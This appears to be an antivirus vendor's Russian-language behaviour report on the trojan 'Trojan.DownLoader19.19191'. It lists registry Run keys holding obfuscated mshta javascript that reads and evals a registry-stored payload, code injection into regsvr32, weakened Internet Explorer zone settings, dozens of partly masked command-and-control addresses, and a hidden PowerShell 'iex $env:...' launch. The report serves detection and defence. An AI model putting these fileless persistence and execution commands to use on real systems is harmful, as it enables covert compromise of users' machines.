Trojan.DownLoader19.19191

Техническая информация

Для обеспечения автозапуска и распространения

Модифицирует следующие ключи реестра

[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run] '21fa870' = 'mshta javascript:jpT7SfuHJ="Opqx";z7w=new%20ActiveXObject("WScript.Shell");fWxds3BD5d="X";lJ4Jy=z7w.RegRead("HKLM...
[<HKLM>\software\Wow6432Node\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run] '9d28c63d' = 'mshta javascript:tnMc2SEk9="5fH";df95=new%20ActiveXObject("WScript.Shell");GhzI49hn="5YDywB5x"...
[<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] '21fa870' = 'mshta javascript:Ndwt1MJ7="fR";p58N=new%20ActiveXObject("WScript.Shell");X7jF6ikv="vaW";D1Tbf=p58N.RegRead("HKCU\\software\\9...

Вредоносные функции

Внедряет код в

следующие системные процессы:

%WINDIR%\syswow64\regsvr32.exe

Изменяет следующие настройки браузера Windows Internet Explorer

[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '1206' = '00000000'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '2300' = '00000000'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '1809' = '00000003'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] '1206' = '00000000'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] '2300' = '00000000'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] '1809' = '00000003'

Изменения в файловой системе

Самоудаляется.

Сетевая активность

Подключается к

'22#.#03.70.177':80
'11#.#72.213.236':80
'39.##9.242.251':80
'20#.#2.112.83':80
'13#.#81.86.244':80
'10#.#01.173.235':80
'1.##.174.59':80
'23#.#.116.215':443
'13#.#.180.20':8080
'17#.#00.39.198':80
'22#.#16.182.163':80
'20.##2.41.10':80
'85.##2.70.136':80
'11#.#35.160.132':80
'73.##.186.145':80
'19#.#9.19.63':80
'27.##.140.242':80
'23#.#10.157.246':80
'21#.#4.241.107':80
'24#.#52.213.39':80
'17#.#5.245.198':80
'24#.#.99.175':80
'34.##.205.185':80
'63.#8.30.61':80
'16#.#81.192.119':80
'76.##.225.156':8080
'12#.#7.132.60':80
'84.##7.245.167':80
'45.##8.61.186':80
'15#.#25.201.10':80
'15#.#42.199.228':80
'14#.#20.206.180':80
'19#.#6.13.10':80
'29.##4.10.176':80
'24#.#20.19.196':80
'11#.#03.163.140':8080
'80.##.185.240':80
'12#.#84.250.40':80
'17#.#3.183.235':80
'38.#.246.37':80
'20#.#85.133.55':80
'58.##0.86.48':8080
'11#.#02.128.153':80
'29.##4.227.26':80
'44.#.65.219':80
'22#.#26.205.61':80
'41.##.104.43':80
'17#.#99.53.135':80
'3.###.203.100':80
'14#.#9.253.15':80
'25#.#4.88.214':443
'25#.1.160.6':80
'14#.#6.90.225':443
'21#.#9.251.134':80
'14#.#3.35.144':80
'29.##9.250.50':80
'68.##.176.183':80
'22#.#72.137.99':80
'20#.#47.43.55':80
'20#.#08.173.13':80
'10#.#7.235.119':80
'19#.#18.134.55':80
'20#.#1.64.32':80
'25.#8.227.3':80
'21#.#22.25.18':80
'25#.#6.16.112':80
'95.##0.155.172':80
'8.###.222.198':80
'19#.#9.26.38':80
'96.##6.225.42':8080
'21#.#15.182.200':443
'14#.#27.221.128':80
'19.#.111.199':80
'14#.#42.213.100':80
'20#.#01.93.202':80
'14#.#8.248.200':80
'11#.#62.32.83':80
'13#.#92.213.177':80
'13#.#28.57.32':80
'16#.#.129.107':80
'99.##6.134.240':80
'13#.#1.92.195':80
'12#.#.253.181':80
'78.##6.25.100':80
'17#.#30.187.179':443

TCP

Другие

'14#.#6.90.225':443

Другое

Ищет следующие окна

ClassName: 'MS_AutodialMonitor' WindowName: ''
ClassName: 'MS_WebCheckMonitor' WindowName: ''

Создает и запускает на исполнение

'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' iex $env:jfkuuqgt' (со скрытым окном)

Запускает на исполнение

'<SYSTEM32>\mshta.exe' javascript:LKRH0jHA="c";g91Y=new%20ActiveXObject("WScript.Shell");Rjdm1jSB1="ihT1Yoqb1";EKxI2=g91Y.RegRead("HKLM\\software\\Wow6432Node\\Py507f\\dw596B");nYm7MNr="ceJ";eval(EKxI2);fThX5w3e="yVc...
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' iex $env:jfkuuqgt
'%WINDIR%\syswow64\regsvr32.exe'